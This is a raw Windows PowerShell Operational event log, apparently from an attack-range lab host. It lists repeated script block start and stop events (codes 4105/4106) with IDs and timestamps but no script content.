LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034783
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034782
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034781
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034780
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034764
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034763
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034758
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034757
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
